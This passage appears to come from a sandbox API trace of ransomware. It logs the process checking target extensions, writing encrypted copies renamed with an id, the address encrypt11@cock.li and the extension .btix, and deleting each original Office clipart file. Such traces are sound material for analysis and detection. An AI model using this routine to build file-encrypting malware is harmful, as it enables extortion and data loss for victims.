Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00369_.wmf")) returned 1 [0070.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0070.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0070.917] lstrlenW (lpString=".doc") returned 4 [0070.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0070.917] lstrlenW (lpString=".docx") returned 5 [0070.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0070.917] lstrlenW (lpString=".pdf") returned 4 [0070.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0070.917] lstrlenW (lpString=".xls") returned 4 [0070.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0070.917] lstrlenW (lpString=".xlsx") returned 5 [0070.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0070.917] lstrlenW (lpString=".ppt") returned 4 [0070.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0070.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0070.917] lstrlenW (lpString=".zip") returned 4 [0070.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0070.918] lstrlenW (lpString=".rar") returned 4 [0070.918] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0070.918] lstrlenW (lpString=".bz2") returned 4 [0070.918] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0070.918] lstrlenW (lpString=".7z") returned 3 [0070.918] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0070.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0070.918] lstrlenW (lpString=".dbf") returned 4 [0070.918] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0070.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0070.918] lstrlenW (lpString=".1cd") returned 4 [0070.918] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0070.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00369_.WMF") returned 68 [0070.918] lstrlenW (lpString=".jpg") returned 4 [0070.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.020] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.020] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0071.020] GetLastError () returned 0x0 [0071.021] ReadFile (in: hFile=0x344, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x2afa, lpOverlapped=0x0) returned 1 [0071.143] WriteFile (in: hFile=0x324, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x2b00, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x2b00, lpOverlapped=0x0) returned 1 [0071.271] ReadFile (in: hFile=0x344, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.271] WriteFile (in: hFile=0x324, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.272] SetEndOfFile (hFile=0x324) returned 1 [0071.279] CloseHandle (hObject=0x324) returned 1 [0071.280] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.280] SetEndOfFile (hFile=0x344) returned 1 [0071.285] CloseHandle (hObject=0x344) returned 1 [0071.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00414_.wmf")) returned 1 [0071.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0071.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0071.288] lstrlenW (lpString=".doc") returned 4 [0071.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.288] lstrlenW (lpString=".docx") returned 5 [0071.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.288] lstrlenW (lpString=".pdf") returned 4 [0071.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.288] lstrlenW (lpString=".xls") returned 4 [0071.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.288] lstrlenW (lpString=".xlsx") returned 5 [0071.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.288] lstrlenW (lpString=".ppt") returned 4 [0071.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0071.288] lstrlenW (lpString=".zip") returned 4 [0071.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.288] lstrlenW (lpString=".rar") returned 4 [0071.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.288] lstrlenW (lpString=".bz2") returned 4 [0071.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.288] lstrlenW (lpString=".7z") returned 3 [0071.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0071.289] lstrlenW (lpString=".dbf") returned 4 [0071.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0071.289] lstrlenW (lpString=".1cd") returned 4 [0071.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 68 [0071.289] lstrlenW (lpString=".jpg") returned 4 [0071.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.293] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.293] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0071.295] GetLastError () returned 0x0 [0071.295] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x148c, lpOverlapped=0x0) returned 1 [0071.296] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x1490, lpOverlapped=0x0) returned 1 [0071.298] ReadFile (in: hFile=0x308, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.298] WriteFile (in: hFile=0x2e0, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.298] SetEndOfFile (hFile=0x2e0) returned 1 [0071.301] CloseHandle (hObject=0x2e0) returned 1 [0071.302] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.302] SetEndOfFile (hFile=0x308) returned 1 [0071.302] CloseHandle (hObject=0x308) returned 1 [0071.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0071.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0071.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0071.307] lstrlenW (lpString=".doc") returned 4 [0071.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.307] lstrlenW (lpString=".docx") returned 5 [0071.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.307] lstrlenW (lpString=".pdf") returned 4 [0071.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.307] lstrlenW (lpString=".xls") returned 4 [0071.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.307] lstrlenW (lpString=".xlsx") returned 5 [0071.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.307] lstrlenW (lpString=".ppt") returned 4 [0071.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0071.307] lstrlenW (lpString=".zip") returned 4 [0071.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.307] lstrlenW (lpString=".rar") returned 4 [0071.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.307] lstrlenW (lpString=".bz2") returned 4 [0071.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.308] lstrlenW (lpString=".7z") returned 3 [0071.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0071.308] lstrlenW (lpString=".dbf") returned 4 [0071.308] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0071.308] lstrlenW (lpString=".1cd") returned 4 [0071.308] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0071.308] lstrlenW (lpString=".jpg") returned 4 [0071.308] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.312] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.312] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.318] GetLastError () returned 0x0 [0071.318] ReadFile (in: hFile=0x354, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x2f0, lpOverlapped=0x0) returned 1 [0071.332] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x300, lpOverlapped=0x0) returned 1 [0071.332] ReadFile (in: hFile=0x354, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.333] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.333] SetEndOfFile (hFile=0x308) returned 1 [0071.333] CloseHandle (hObject=0x308) returned 1 [0071.333] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.333] SetEndOfFile (hFile=0x354) returned 1 [0071.334] CloseHandle (hObject=0x354) returned 1 [0071.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0071.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0071.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0071.334] lstrlenW (lpString=".doc") returned 4 [0071.334] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.334] lstrlenW (lpString=".docx") returned 5 [0071.334] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.334] lstrlenW (lpString=".pdf") returned 4 [0071.334] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.334] lstrlenW (lpString=".xls") returned 4 [0071.335] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.335] lstrlenW (lpString=".xlsx") returned 5 [0071.335] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.335] lstrlenW (lpString=".ppt") returned 4 [0071.335] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0071.335] lstrlenW (lpString=".zip") returned 4 [0071.335] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.335] lstrlenW (lpString=".rar") returned 4 [0071.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.335] lstrlenW (lpString=".bz2") returned 4 [0071.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.335] lstrlenW (lpString=".7z") returned 3 [0071.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0071.335] lstrlenW (lpString=".dbf") returned 4 [0071.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0071.335] lstrlenW (lpString=".1cd") returned 4 [0071.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0071.335] lstrlenW (lpString=".jpg") returned 4 [0071.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.335] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.335] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.336] GetLastError () returned 0x0 [0071.336] ReadFile (in: hFile=0x354, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x3b3c, lpOverlapped=0x0) returned 1 [0071.347] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x3b40, lpOverlapped=0x0) returned 1 [0071.348] ReadFile (in: hFile=0x354, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.348] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.348] SetEndOfFile (hFile=0x308) returned 1 [0071.348] CloseHandle (hObject=0x308) returned 1 [0071.348] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.348] SetEndOfFile (hFile=0x354) returned 1 [0071.349] CloseHandle (hObject=0x354) returned 1 [0071.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.349] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0071.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0071.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0071.349] lstrlenW (lpString=".doc") returned 4 [0071.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.349] lstrlenW (lpString=".docx") returned 5 [0071.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.349] lstrlenW (lpString=".pdf") returned 4 [0071.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.349] lstrlenW (lpString=".xls") returned 4 [0071.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.349] lstrlenW (lpString=".xlsx") returned 5 [0071.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.349] lstrlenW (lpString=".ppt") returned 4 [0071.350] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0071.350] lstrlenW (lpString=".zip") returned 4 [0071.350] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.350] lstrlenW (lpString=".rar") returned 4 [0071.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.350] lstrlenW (lpString=".bz2") returned 4 [0071.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.350] lstrlenW (lpString=".7z") returned 3 [0071.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0071.350] lstrlenW (lpString=".dbf") returned 4 [0071.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0071.350] lstrlenW (lpString=".1cd") returned 4 [0071.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0071.350] lstrlenW (lpString=".jpg") returned 4 [0071.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.350] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.350] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.351] GetLastError () returned 0x0 [0071.351] ReadFile (in: hFile=0x354, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x96c, lpOverlapped=0x0) returned 1 [0071.396] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x970, lpOverlapped=0x0) returned 1 [0071.397] ReadFile (in: hFile=0x354, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.397] WriteFile (in: hFile=0x308, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.397] SetEndOfFile (hFile=0x308) returned 1 [0071.397] CloseHandle (hObject=0x308) returned 1 [0071.397] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.397] SetEndOfFile (hFile=0x354) returned 1 [0071.398] CloseHandle (hObject=0x354) returned 1 [0071.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.398] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0071.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0071.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0071.398] lstrlenW (lpString=".doc") returned 4 [0071.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.398] lstrlenW (lpString=".docx") returned 5 [0071.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.398] lstrlenW (lpString=".pdf") returned 4 [0071.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.399] lstrlenW (lpString=".xls") returned 4 [0071.399] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.399] lstrlenW (lpString=".xlsx") returned 5 [0071.399] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.399] lstrlenW (lpString=".ppt") returned 4 [0071.399] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0071.399] lstrlenW (lpString=".zip") returned 4 [0071.399] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.399] lstrlenW (lpString=".rar") returned 4 [0071.399] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.399] lstrlenW (lpString=".bz2") returned 4 [0071.399] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.399] lstrlenW (lpString=".7z") returned 3 [0071.399] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0071.399] lstrlenW (lpString=".dbf") returned 4 [0071.399] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.399] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0071.399] lstrlenW (lpString=".1cd") returned 4 [0071.399] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.399] lstrlenW (lpString="C:\\Program Files\\Microsoft 